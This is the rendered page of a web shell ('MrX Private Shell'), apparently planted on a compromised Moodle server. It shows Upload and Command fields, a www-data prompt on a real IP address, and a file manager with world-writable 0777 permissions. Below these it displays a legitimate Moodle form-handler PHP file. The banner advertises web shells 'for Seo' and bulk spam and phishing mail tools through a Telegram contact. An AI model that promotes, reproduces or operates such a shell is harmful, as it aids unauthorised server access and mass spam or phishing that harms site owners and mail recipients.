__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Form to edit handlers.
 *
 * @package    tool_messageinbound
 * @copyright  2014 Andrew Nicols
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

require_once($CFG->libdir . '/formslib.php');

/**
 * Form to edit handlers.
 *
 * @copyright  2014 Andrew Nicols
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class tool_messageinbound_edit_handler_form extends moodleform {

    /**
     * The form definition
     */
    public function definition() {
        $mform = $this->_form;

        $handler = $this->_customdata['handler'];

        // Set up the options for formatting text for descriptions, etc.
        $formatoptions = new stdClass();
        $formatoptions->trusted = false;
        $formatoptions->noclean = false;
        $formatoptions->filter = false;
        $formatoptions->para = true;
        $formatoptions->newlines = false;
        $formatoptions->overflowdiv = true;

        // General information about the handler.
        $mform->addElement('header', 'general', get_string('general'));
        $mform->addElement('static', 'name', get_string('name', 'tool_messageinbound'),
            $handler->name);
        $mform->addElement('static', 'classname', get_string('classname', 'tool_messageinbound'));

        $description = format_text($handler->description, FORMAT_MARKDOWN, $formatoptions);

        $mform->addElement('static', 'description', get_string('description', 'tool_messageinbound'),
            $description);

        // Items which can be configured.
        $mform->addElement('header', 'configuration', get_string('configuration'));

        if ($handler->can_change_defaultexpiration()) {
            // Show option to change expiry only if the handler supports it.
            $options = array(
                HOURSECS => get_string('onehour', 'tool_messageinbound'),
                DAYSECS => get_string('oneday', 'tool_messageinbound'),
                WEEKSECS => get_string('oneweek', 'tool_messageinbound'),
                YEARSECS => get_string('oneyear', 'tool_messageinbound'),
                0 => get_string('noexpiry', 'tool_messageinbound'),
            );
            $mform->addElement('select', 'defaultexpiration', get_string('defaultexpiration', 'tool_messageinbound'), $options);
            $mform->addHelpButton('defaultexpiration', 'defaultexpiration', 'tool_messageinbound');
        } else {
            $text = $this->get_defaultexpiration_text($handler);
            $mform->addElement('static', 'defaultexpiration_fake', get_string('defaultexpiration', 'tool_messageinbound'), $text);
            $mform->addElement('hidden', 'defaultexpiration');
            $mform->addHelpButton('defaultexpiration_fake', 'defaultexpiration', 'tool_messageinbound');
            $mform->setType('defaultexpiration', PARAM_INT);
        }

        if ($handler->can_change_validateaddress()) {
            $mform->addElement('checkbox', 'validateaddress', get_string('requirevalidation', 'tool_messageinbound'));
            $mform->addHelpButton('validateaddress', 'validateaddress', 'tool_messageinbound');
        } else {
            if ($handler->validateaddress) {
                $text = get_string('yes');
            } else {
                $text = get_string('no');
            }
            $mform->addElement('static', 'validateaddress_fake', get_string('requirevalidation', 'tool_messageinbound'), $text);
            $mform->addElement('hidden', 'validateaddress');
            $mform->addHelpButton('validateaddress_fake', 'fixedvalidateaddress', 'tool_messageinbound');
            $mform->setType('validateaddress', PARAM_INT);
        }

        if ($handler->can_change_enabled()) {
            $mform->addElement('checkbox', 'enabled', get_string('enabled', 'tool_messageinbound'));
        } else {
            if ($handler->enabled) {
                $text = get_string('yes');
            } else {
                $text = get_string('no');
            }
            $mform->addElement('static', 'enabled_fake', get_string('enabled', 'tool_messageinbound'), $text);
            $mform->addHelpButton('enabled', 'fixedenabled', 'tool_messageinbound');
            $mform->addElement('hidden', 'enabled');
            $mform->setType('enabled', PARAM_INT);
        }

        $this->add_action_buttons(true, get_string('savechanges'));
    }

    /**
     * Return a text string representing the selected default expiration for the handler.
     *
     * @param \core\message\inbound\handler $handler handler instance.
     *
     * @return string localised text string.
     */
    protected function get_defaultexpiration_text(\core\message\inbound\handler $handler) {
        switch($handler->defaultexpiration) {
            case HOURSECS :
                    return get_string('onehour', 'tool_messageinbound');
            case DAYSECS :
                    return get_string('oneday', 'tool_messageinbound');
            case WEEKSECS :
                    return get_string('oneweek', 'tool_messageinbound');
            case YEARSECS :
                    return get_string('oneyear', 'tool_messageinbound');
            case 0:
                    return get_string('noexpiry', 'tool_messageinbound');
            default:
                    return ''; // Should never happen.
        }
    }
}

Filemanager

Name Type Size Permission Actions
message Folder 0777
privacy Folder 0777
task Folder 0777
edit_handler_form.php File 5.94 KB 0777
manager.php File 49.95 KB 0777
utils.php File 1.85 KB 0777
Filemanager